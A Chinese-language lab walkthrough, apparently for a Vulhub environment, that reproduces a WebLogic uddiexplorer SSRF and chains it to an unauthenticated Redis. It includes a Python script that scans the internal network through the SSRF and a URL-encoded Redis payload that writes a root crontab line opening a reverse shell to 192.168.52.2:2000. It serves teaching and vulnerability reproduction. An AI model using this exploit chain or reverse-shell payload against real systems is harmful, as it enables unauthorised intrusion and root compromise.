文章目录
- 一、漏洞描述
- 二、漏洞特征
- 1.查看uddiexplorer应用
- 2.漏洞点
- 三、漏洞复现
- 1.获取容器内网ip
- 2.VULHUB Weblogic SSRF漏洞 docker中 centos6 无法启动的解决办法
- 3.准备payload
- 4.反弹shell
一、漏洞描述
SSRF
服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)处理 -->返回用户响应
【网站有个请求是www.baidu,com/xxx.php?image=URL】
安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据
例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg
如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址
如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码,不存在就会其他的状态码
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以这个请求中的身份来访问其他服务器的资源。
Redis未授权访问
未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
二、漏洞特征
1.查看uddiexplorer应用
http://192.168.232.131:7001/uddiexplorer/
2.漏洞点
192.168.232.131:7001/uddiexplorer/SearchPublicRegistries.jsp
3.burp抓包访问
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:23
非http协议端口返回could not connect over HTTP to server
http协议返回
returned a 404 error code
三、漏洞复现
1.获取容器内网ip
通过burp爆破查看错误的不同显示,即可探测内网ip和端口。
或者使用以下工具探测
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.232.131:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.19.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
docker ps
docker exec -it 3f3c5f3a0692 “/bin/bash”
ifconfig
2.VULHUB Weblogic SSRF漏洞 docker中 centos6 无法启动的解决办法
修改文件:/etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT=“vsyscall=emulate”
update-grub 然后重启系统。
3.准备payload
test
set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.52.2/2000 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save
aaa
url编码后:
test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20/dev/tcp/192.168.52.2/2000%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa
4.反弹shell
使用表单提交发布
operator=http://172.21.0.2:6379/test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20/dev/tcp/192.168.52.2/2000%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
成功反弹shell
注意系统时间要对上,否则可能会失败